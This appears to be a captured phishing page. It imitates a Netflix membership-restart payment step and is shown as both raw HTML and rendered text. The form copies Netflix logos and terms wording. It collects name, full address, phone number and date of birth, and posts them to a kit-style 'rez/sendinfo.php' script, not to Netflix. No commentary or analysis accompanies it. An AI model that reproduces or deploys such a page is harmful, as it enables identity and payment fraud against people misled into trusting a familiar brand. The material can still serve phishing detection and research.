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POST rez/sendinfo.php

<form method="POST" action="rez/sendinfo.php" data-uia="payment-form">
  <div class="paymentFormContainer">
    <div>
      <div class="stepHeader-container" data-uia="header">
        <div class="stepHeader" data-a11y-focus="true" tabindex="0"><span id="" class="stepIndicator" data-uia="">STEP <b>4</b> OF <b>4</b></span>
          <h1 class="stepTitle" data-uia="stepTitle">Fill information provided</h1>
        </div>
      </div>
    </div>
    <div class="fieldContainer"><span class="logos logos-block" data-uia="cardLogos-comp" aria-label="We accept VISA, MASTERCARD, AMEX and DISCOVER."><img alt="" class="logoIcon VISA" data-uia="logoIcon-VISA"
          src="https://assets.nflxext.com/ffe/siteui/acquisition/payment/svg/visa-v3.svg"><img alt="" class="logoIcon MASTERCARD" data-uia="logoIcon-MASTERCARD"
          src="https://assets.nflxext.com/ffe/siteui/acquisition/payment/svg/mastercard-v2.svg"><img alt="" class="logoIcon AMEX" data-uia="logoIcon-AMEX" src="https://assets.nflxext.com/ffe/siteui/acquisition/payment/svg/amex-v2.svg"><img alt=""
          class="logoIcon DISCOVER" data-uia="logoIcon-DISCOVER" src="https://assets.nflxext.com/ffe/siteui/acquisition/payment/icon_discover.png" srcset="https://assets.nflxext.com/ffe/siteui/acquisition/payment/icon_discover_2x.png 2x"></span>
      <ul class="simpleForm structural ui-grid">
        <li data-uia="field-firstName+wrapper" class="nfFormSpace">
          <div data-uia="field-firstName+container" class="nfInput validated nfInputOversize">
            <div class="nfInputPlacement">
              <label class="input_id" placeholder="firstName">
                <input data-uia="field-firstName" name="firstName" class="nfTextField hasText" id="id_firstName" type="text" tabindex="0" autocomplete="cc-given-name" maxlength="100" minlength="1" dir="ltr" required="" value="">
                <label for="id_firstName" class="placeLabel">First name</label>
              </label>
            </div>
          </div>
        </li>
        <li data-uia="field-lastName+wrapper" class="nfFormSpace">
          <div data-uia="field-lastName+container" class="nfInput validated nfInputOversize">
            <div class="nfInputPlacement">
              <label class="input_id" placeholder="lastName">
                <input data-uia="field-lastName" name="lastName" class="nfTextField hasText" id="id_lastName" type="text" tabindex="0" autocomplete="cc-family-name" dir="ltr" required="" value="">
                <label for="id_lastName" class="placeLabel">Last name</label>
              </label>
            </div>
          </div>
        </li>
        <li data-uia="field-creditCardNumber+wrapper" class="nfFormSpace">
        </li>
        <li data-uia="field-creditExpirationYear+wrapper" class="nfFormSpace"></li>
        <li data-uia="field-creditZipcode+wrapper" class="nfFormSpace">
          <div data-uia="field-creditZipcode+container" class="nfInput validated nfInputOversize">
            <div class="nfInputPlacement">
              <label class="input_id" placeholder="creditZipcode">
                <select id="country" required="" class="nfTextField hasText" name="country">
                  <option>select country</option>
                  <option value="AF">Afghanistan</option>
                  <option value="AX">Aland Islands</option>
                  <option value="AL">Albania</option>
                  <option value="DZ">Algeria</option>
                  <option value="AS">American Samoa</option>
                  <option value="AD">Andorra</option>
                  <option value="AO">Angola</option>
                  <option value="AI">Anguilla</option>
                  <option value="AQ">Antarctica</option>
                  <option value="AG">Antigua and Barbuda</option>
                  <option value="AR">Argentina</option>
                  <option value="AM">Armenia</option>
                  <option value="AW">Aruba</option>
                  <option value="AU">Australia</option>
                  <option value="AT">Austria</option>
                  <option value="AZ">Azerbaijan</option>
                  <option value="BS">Bahamas</option>
                  <option value="BH">Bahrain</option>
                  <option value="BD">Bangladesh</option>
                  <option value="BB">Barbados</option>
                  <option value="BY">Belarus</option>
                  <option value="BE">Belgium</option>
                  <option value="BZ">Belize</option>
                  <option value="BJ">Benin</option>
                  <option value="BM">Bermuda</option>
                  <option value="BT">Bhutan</option>
                  <option value="BO">Bolivia</option>
                  <option value="BQ">Bonaire, Sint Eustatius and Saba</option>
                  <option value="BA">Bosnia and Herzegovina</option>
                  <option value="BW">Botswana</option>
                  <option value="BV">Bouvet Island</option>
                  <option value="BR">Brazil</option>
                  <option value="IO">British Indian Ocean Territory</option>
                  <option value="BN">Brunei Darussalam</option>
                  <option value="BG">Bulgaria</option>
                  <option value="BF">Burkina Faso</option>
                  <option value="BI">Burundi</option>
                  <option value="KH">Cambodia</option>
                  <option value="CM">Cameroon</option>
                  <option value="CA">Canada</option>
                  <option value="CV">Cape Verde</option>
                  <option value="KY">Cayman Islands</option>
                  <option value="CF">Central African Republic</option>
                  <option value="TD">Chad</option>
                  <option value="CL">Chile</option>
                  <option value="CN">China</option>
                  <option value="CX">Christmas Island</option>
                  <option value="CC">Cocos (Keeling) Islands</option>
                  <option value="CO">Colombia</option>
                  <option value="KM">Comoros</option>
                  <option value="CG">Congo</option>
                  <option value="CD">Congo, Democratic Republic of the Congo</option>
                  <option value="CK">Cook Islands</option>
                  <option value="CR">Costa Rica</option>
                  <option value="CI">Cote D'Ivoire</option>
                  <option value="HR">Croatia</option>
                  <option value="CU">Cuba</option>
                  <option value="CW">Curacao</option>
                  <option value="CY">Cyprus</option>
                  <option value="CZ">Czech Republic</option>
                  <option value="DK">Denmark</option>
                  <option value="DJ">Djibouti</option>
                  <option value="DM">Dominica</option>
                  <option value="DO">Dominican Republic</option>
                  <option value="EC">Ecuador</option>
                  <option value="EG">Egypt</option>
                  <option value="SV">El Salvador</option>
                  <option value="GQ">Equatorial Guinea</option>
                  <option value="ER">Eritrea</option>
                  <option value="EE">Estonia</option>
                  <option value="ET">Ethiopia</option>
                  <option value="FK">Falkland Islands (Malvinas)</option>
                  <option value="FO">Faroe Islands</option>
                  <option value="FJ">Fiji</option>
                  <option value="FI">Finland</option>
                  <option value="FR">France</option>
                  <option value="GF">French Guiana</option>
                  <option value="PF">French Polynesia</option>
                  <option value="TF">French Southern Territories</option>
                  <option value="GA">Gabon</option>
                  <option value="GM">Gambia</option>
                  <option value="GE">Georgia</option>
                  <option value="DE">Germany</option>
                  <option value="GH">Ghana</option>
                  <option value="GI">Gibraltar</option>
                  <option value="GR">Greece</option>
                  <option value="GL">Greenland</option>
                  <option value="GD">Grenada</option>
                  <option value="GP">Guadeloupe</option>
                  <option value="GU">Guam</option>
                  <option value="GT">Guatemala</option>
                  <option value="GG">Guernsey</option>
                  <option value="GN">Guinea</option>
                  <option value="GW">Guinea-Bissau</option>
                  <option value="GY">Guyana</option>
                  <option value="HT">Haiti</option>
                  <option value="HM">Heard Island and Mcdonald Islands</option>
                  <option value="VA">Holy See (Vatican City State)</option>
                  <option value="HN">Honduras</option>
                  <option value="HK">Hong Kong</option>
                  <option value="HU">Hungary</option>
                  <option value="IS">Iceland</option>
                  <option value="IN">India</option>
                  <option value="ID">Indonesia</option>
                  <option value="IR">Iran, Islamic Republic of</option>
                  <option value="IQ">Iraq</option>
                  <option value="IE">Ireland</option>
                  <option value="IM">Isle of Man</option>
                  <option value="IL">Israel</option>
                  <option value="IT">Italy</option>
                  <option value="JM">Jamaica</option>
                  <option value="JP">Japan</option>
                  <option value="JE">Jersey</option>
                  <option value="JO">Jordan</option>
                  <option value="KZ">Kazakhstan</option>
                  <option value="KE">Kenya</option>
                  <option value="KI">Kiribati</option>
                  <option value="KP">Korea, Democratic People's Republic of</option>
                  <option value="KR">Korea, Republic of</option>
                  <option value="XK">Kosovo</option>
                  <option value="KW">Kuwait</option>
                  <option value="KG">Kyrgyzstan</option>
                  <option value="LA">Lao People's Democratic Republic</option>
                  <option value="LV">Latvia</option>
                  <option value="LB">Lebanon</option>
                  <option value="LS">Lesotho</option>
                  <option value="LR">Liberia</option>
                  <option value="LY">Libyan Arab Jamahiriya</option>
                  <option value="LI">Liechtenstein</option>
                  <option value="LT">Lithuania</option>
                  <option value="LU">Luxembourg</option>
                  <option value="MO">Macao</option>
                  <option value="MK">Macedonia, the Former Yugoslav Republic of</option>
                  <option value="MG">Madagascar</option>
                  <option value="MW">Malawi</option>
                  <option value="MY">Malaysia</option>
                  <option value="MV">Maldives</option>
                  <option value="ML">Mali</option>
                  <option value="MT">Malta</option>
                  <option value="MH">Marshall Islands</option>
                  <option value="MQ">Martinique</option>
                  <option value="MR">Mauritania</option>
                  <option value="MU">Mauritius</option>
                  <option value="YT">Mayotte</option>
                  <option value="MX">Mexico</option>
                  <option value="FM">Micronesia, Federated States of</option>
                  <option value="MD">Moldova, Republic of</option>
                  <option value="MC">Monaco</option>
                  <option value="MN">Mongolia</option>
                  <option value="ME">Montenegro</option>
                  <option value="MS">Montserrat</option>
                  <option value="MA">Morocco</option>
                  <option value="MZ">Mozambique</option>
                  <option value="MM">Myanmar</option>
                  <option value="NA">Namibia</option>
                  <option value="NR">Nauru</option>
                  <option value="NP">Nepal</option>
                  <option value="NL">Netherlands</option>
                  <option value="AN">Netherlands Antilles</option>
                  <option value="NC">New Caledonia</option>
                  <option value="NZ">New Zealand</option>
                  <option value="NI">Nicaragua</option>
                  <option value="NE">Niger</option>
                  <option value="NG">Nigeria</option>
                  <option value="NU">Niue</option>
                  <option value="NF">Norfolk Island</option>
                  <option value="MP">Northern Mariana Islands</option>
                  <option value="NO">Norway</option>
                  <option value="OM">Oman</option>
                  <option value="PK">Pakistan</option>
                  <option value="PW">Palau</option>
                  <option value="PS">Palestinian Territory, Occupied</option>
                  <option value="PA">Panama</option>
                  <option value="PG">Papua New Guinea</option>
                  <option value="PY">Paraguay</option>
                  <option value="PE">Peru</option>
                  <option value="PH">Philippines</option>
                  <option value="PN">Pitcairn</option>
                  <option value="PL">Poland</option>
                  <option value="PT">Portugal</option>
                  <option value="PR">Puerto Rico</option>
                  <option value="QA">Qatar</option>
                  <option value="RE">Reunion</option>
                  <option value="RO">Romania</option>
                  <option value="RU">Russian Federation</option>
                  <option value="RW">Rwanda</option>
                  <option value="BL">Saint Barthelemy</option>
                  <option value="SH">Saint Helena</option>
                  <option value="KN">Saint Kitts and Nevis</option>
                  <option value="LC">Saint Lucia</option>
                  <option value="MF">Saint Martin</option>
                  <option value="PM">Saint Pierre and Miquelon</option>
                  <option value="VC">Saint Vincent and the Grenadines</option>
                  <option value="WS">Samoa</option>
                  <option value="SM">San Marino</option>
                  <option value="ST">Sao Tome and Principe</option>
                  <option value="SA">Saudi Arabia</option>
                  <option value="SN">Senegal</option>
                  <option value="RS">Serbia</option>
                  <option value="CS">Serbia and Montenegro</option>
                  <option value="SC">Seychelles</option>
                  <option value="SL">Sierra Leone</option>
                  <option value="SG">Singapore</option>
                  <option value="SX">Sint Maarten</option>
                  <option value="SK">Slovakia</option>
                  <option value="SI">Slovenia</option>
                  <option value="SB">Solomon Islands</option>
                  <option value="SO">Somalia</option>
                  <option value="ZA">South Africa</option>
                  <option value="GS">South Georgia and the South Sandwich Islands</option>
                  <option value="SS">South Sudan</option>
                  <option value="ES">Spain</option>
                  <option value="LK">Sri Lanka</option>
                  <option value="SD">Sudan</option>
                  <option value="SR">Suriname</option>
                  <option value="SJ">Svalbard and Jan Mayen</option>
                  <option value="SZ">Swaziland</option>
                  <option value="SE">Sweden</option>
                  <option value="CH">Switzerland</option>
                  <option value="SY">Syrian Arab Republic</option>
                  <option value="TW">Taiwan, Province of China</option>
                  <option value="TJ">Tajikistan</option>
                  <option value="TZ">Tanzania, United Republic of</option>
                  <option value="TH">Thailand</option>
                  <option value="TL">Timor-Leste</option>
                  <option value="TG">Togo</option>
                  <option value="TK">Tokelau</option>
                  <option value="TO">Tonga</option>
                  <option value="TT">Trinidad and Tobago</option>
                  <option value="TN">Tunisia</option>
                  <option value="TR">Turkey</option>
                  <option value="TM">Turkmenistan</option>
                  <option value="TC">Turks and Caicos Islands</option>
                  <option value="TV">Tuvalu</option>
                  <option value="UG">Uganda</option>
                  <option value="UA">Ukraine</option>
                  <option value="AE">United Arab Emirates</option>
                  <option value="GB">United Kingdom</option>
                  <option value="US">United States</option>
                  <option value="UM">United States Minor Outlying Islands</option>
                  <option value="UY">Uruguay</option>
                  <option value="UZ">Uzbekistan</option>
                  <option value="VU">Vanuatu</option>
                  <option value="VE">Venezuela</option>
                  <option value="VN">Viet Nam</option>
                  <option value="VG">Virgin Islands, British</option>
                  <option value="VI">Virgin Islands, U.s.</option>
                  <option value="WF">Wallis and Futuna</option>
                  <option value="EH">Western Sahara</option>
                  <option value="YE">Yemen</option>
                  <option value="ZM">Zambia</option>
                  <option value="ZW">Zimbabwe</option>
                </select>
                <label for="id_creditZipcode" class="placeLabel">Country</label>
              </label>
            </div>
          </div>
        </li>
        <li data-uia="field-firstName+wrapper" class="nfFormSpace">
          <div data-uia="field-firstName+container" class="nfInput validated nfInputOversize">
            <div class="nfInputPlacement">
              <label class="input_id" placeholder="firstName">
                <input data-uia="field-firstName" required="" name="address" class="nfTextField hasText" id="id_firstName" type="text" tabindex="0" autocomplete="cc-given-name" maxlength="100" minlength="1" dir="ltr" value="">
                <label for="id_firstName" class="placeLabel">Address line 1</label>
              </label>
            </div>
          </div>
        </li>
        <li data-uia="field-firstName+wrapper" class="nfFormSpace">
          <div data-uia="field-firstName+container" class="nfInput validated nfInputOversize">
            <div class="nfInputPlacement">
              <label class="input_id" placeholder="firstName">
                <input data-uia="field-firstName" required="" name="address2" class="nfTextField hasText" id="id_firstName" type="text" tabindex="0" autocomplete="cc-given-name" maxlength="100" minlength="1" dir="ltr" value="">
                <label for="id_firstName" class="placeLabel">Address line 2</label>
              </label>
            </div>
          </div>
        </li>
        <li data-uia="field-firstName+wrapper" class="nfFormSpace">
          <div data-uia="field-firstName+container" class="nfInput validated nfInputOversize">
            <div class="nfInputPlacement">
              <label class="input_id" placeholder="firstName">
                <input data-uia="field-firstName" required="" name="state" class="nfTextField hasText" id="id_firstName" type="text" tabindex="0" autocomplete="cc-given-name" maxlength="100" minlength="1" dir="ltr" value="">
                <label for="id_firstName" class="placeLabel">State</label>
              </label>
            </div>
          </div>
        </li>
        <li data-uia="field-firstName+wrapper" class="nfFormSpace">
          <div data-uia="field-firstName+container" class="nfInput validated nfInputOversize">
            <div class="nfInputPlacement">
              <label class="input_id" placeholder="firstName">
                <input data-uia="field-firstName" required="" name="city" class="nfTextField hasText" id="id_firstName" type="text" tabindex="0" autocomplete="cc-given-name" maxlength="100" minlength="1" dir="ltr" value="">
                <label for="id_firstName" class="placeLabel">City</label>
              </label>
            </div>
          </div>
        </li>
        <li data-uia="field-firstName+wrapper" class="nfFormSpace">
          <div data-uia="field-firstName+container" class="nfInput validated nfInputOversize">
            <div class="nfInputPlacement">
              <label class="input_id" placeholder="firstName">
                <input data-uia="field-firstName" required="" name="zipcode" class="nfTextField hasText" id="id_firstName" type="text" tabindex="0" autocomplete="cc-given-name" maxlength="100" minlength="1" dir="ltr" value="">
                <label for="id_firstName" class="placeLabel">Zip code</label>
              </label>
            </div>
          </div>
        </li>
        <li data-uia="field-firstName+wrapper" class="nfFormSpace">
          <div data-uia="field-firstName+container" class="nfInput validated nfInputOversize">
            <div class="nfInputPlacement">
              <label class="input_id" placeholder="firstName">
                <input data-uia="field-firstName" required="" name="phone" class="nfTextField hasText" id="id_firstName" type="text" tabindex="0" autocomplete="cc-given-name" maxlength="100" minlength="1" dir="ltr" value="">
                <label for="id_firstName" class="placeLabel">Phone number</label>
              </label>
            </div>
          </div>
        </li>
        <li data-uia="field-firstName+wrapper" class="nfFormSpace">
          <div data-uia="field-firstName+container" class="nfInput validated nfInputOversize">
            <div class="nfInputPlacement">
              <label class="input_id" placeholder="firstName">
                <input data-uia="field-firstName" required="" class="nfTextField hasText" id="id_firstName" type="date" name="birthday" tabindex="0" autocomplete="cc-given-name" maxlength="100" minlength="1" dir="ltr" value="">
                <label for="id_firstName" class="placeLabel">Date of birth</label>
              </label>
            </div>
          </div>
        </li>
      </ul>
      <ul class="orderInfo" data-uia="orderInfo">
        <li class="orderInfoItem" data-uia="selected-plan-item"></li>
      </ul>
      <div class="tou--container">
        <div class="user-consent--container" data-uia="termsOfUseMatlock+organic-us"><span id="" data-uia="termsOfUse-Disclosure">By clicking the “Restart Membership” button below, you agree to our
            <a target="_blank" href="https://help.netflix.com/legal/termsofuse">Terms of Use</a>, <a target="_blank" href="https://help.netflix.com/legal/privacy">Privacy Statement</a>, that you are over 18, and that
            <b>Netflix will automatically continue your membership and charge the membership fee (currently $9.99/month) to your payment method until you cancel.</b> <b>You may cancel at any time to avoid future charges.</b> To cancel, go to Account
            and click “Cancel Membership.”</span></div>
      </div>
    </div>
  </div>
  <div class="submitBtnContainer"><button type="submit" autocomplete="off" tabindex="0" class="nf-btn nf-btn-primary nf-btn-solid nf-btn-oversize" data-uia="action-submit-payment" placeholder="">Continue</button></div>
</form>

Text Content

NetflixSign Out
STEP 4 OF 4


FILL INFORMATION PROVIDED

 * First name
 * Last name
 * 
 * 
 * select country Afghanistan Aland Islands Albania Algeria American Samoa
   Andorra Angola Anguilla Antarctica Antigua and Barbuda Argentina Armenia
   Aruba Australia Austria Azerbaijan Bahamas Bahrain Bangladesh Barbados
   Belarus Belgium Belize Benin Bermuda Bhutan Bolivia Bonaire, Sint Eustatius
   and Saba Bosnia and Herzegovina Botswana Bouvet Island Brazil British Indian
   Ocean Territory Brunei Darussalam Bulgaria Burkina Faso Burundi Cambodia
   Cameroon Canada Cape Verde Cayman Islands Central African Republic Chad Chile
   China Christmas Island Cocos (Keeling) Islands Colombia Comoros Congo Congo,
   Democratic Republic of the Congo Cook Islands Costa Rica Cote D'Ivoire
   Croatia Cuba Curacao Cyprus Czech Republic Denmark Djibouti Dominica
   Dominican Republic Ecuador Egypt El Salvador Equatorial Guinea Eritrea
   Estonia Ethiopia Falkland Islands (Malvinas) Faroe Islands Fiji Finland
   France French Guiana French Polynesia French Southern Territories Gabon
   Gambia Georgia Germany Ghana Gibraltar Greece Greenland Grenada Guadeloupe
   Guam Guatemala Guernsey Guinea Guinea-Bissau Guyana Haiti Heard Island and
   Mcdonald Islands Holy See (Vatican City State) Honduras Hong Kong Hungary
   Iceland India Indonesia Iran, Islamic Republic of Iraq Ireland Isle of Man
   Israel Italy Jamaica Japan Jersey Jordan Kazakhstan Kenya Kiribati Korea,
   Democratic People's Republic of Korea, Republic of Kosovo Kuwait Kyrgyzstan
   Lao People's Democratic Republic Latvia Lebanon Lesotho Liberia Libyan Arab
   Jamahiriya Liechtenstein Lithuania Luxembourg Macao Macedonia, the Former
   Yugoslav Republic of Madagascar Malawi Malaysia Maldives Mali Malta Marshall
   Islands Martinique Mauritania Mauritius Mayotte Mexico Micronesia, Federated
   States of Moldova, Republic of Monaco Mongolia Montenegro Montserrat Morocco
   Mozambique Myanmar Namibia Nauru Nepal Netherlands Netherlands Antilles New
   Caledonia New Zealand Nicaragua Niger Nigeria Niue Norfolk Island Northern
   Mariana Islands Norway Oman Pakistan Palau Palestinian Territory, Occupied
   Panama Papua New Guinea Paraguay Peru Philippines Pitcairn Poland Portugal
   Puerto Rico Qatar Reunion Romania Russian Federation Rwanda Saint Barthelemy
   Saint Helena Saint Kitts and Nevis Saint Lucia Saint Martin Saint Pierre and
   Miquelon Saint Vincent and the Grenadines Samoa San Marino Sao Tome and
   Principe Saudi Arabia Senegal Serbia Serbia and Montenegro Seychelles Sierra
   Leone Singapore Sint Maarten Slovakia Slovenia Solomon Islands Somalia South
   Africa South Georgia and the South Sandwich Islands South Sudan Spain Sri
   Lanka Sudan Suriname Svalbard and Jan Mayen Swaziland Sweden Switzerland
   Syrian Arab Republic Taiwan, Province of China Tajikistan Tanzania, United
   Republic of Thailand Timor-Leste Togo Tokelau Tonga Trinidad and Tobago
   Tunisia Turkey Turkmenistan Turks and Caicos Islands Tuvalu Uganda Ukraine
   United Arab Emirates United Kingdom United States United States Minor
   Outlying Islands Uruguay Uzbekistan Vanuatu Venezuela Viet Nam Virgin
   Islands, British Virgin Islands, U.s. Wallis and Futuna Western Sahara Yemen
   Zambia Zimbabwe Country
 * Address line 1
 * Address line 2
 * State
 * City
 * Zip code
 * Phone number
 * Date of birth

 * 

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Use, Privacy Statement, that you are over 18, and that Netflix will
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$9.99/month) to your payment method until you cancel. You may cancel at any time
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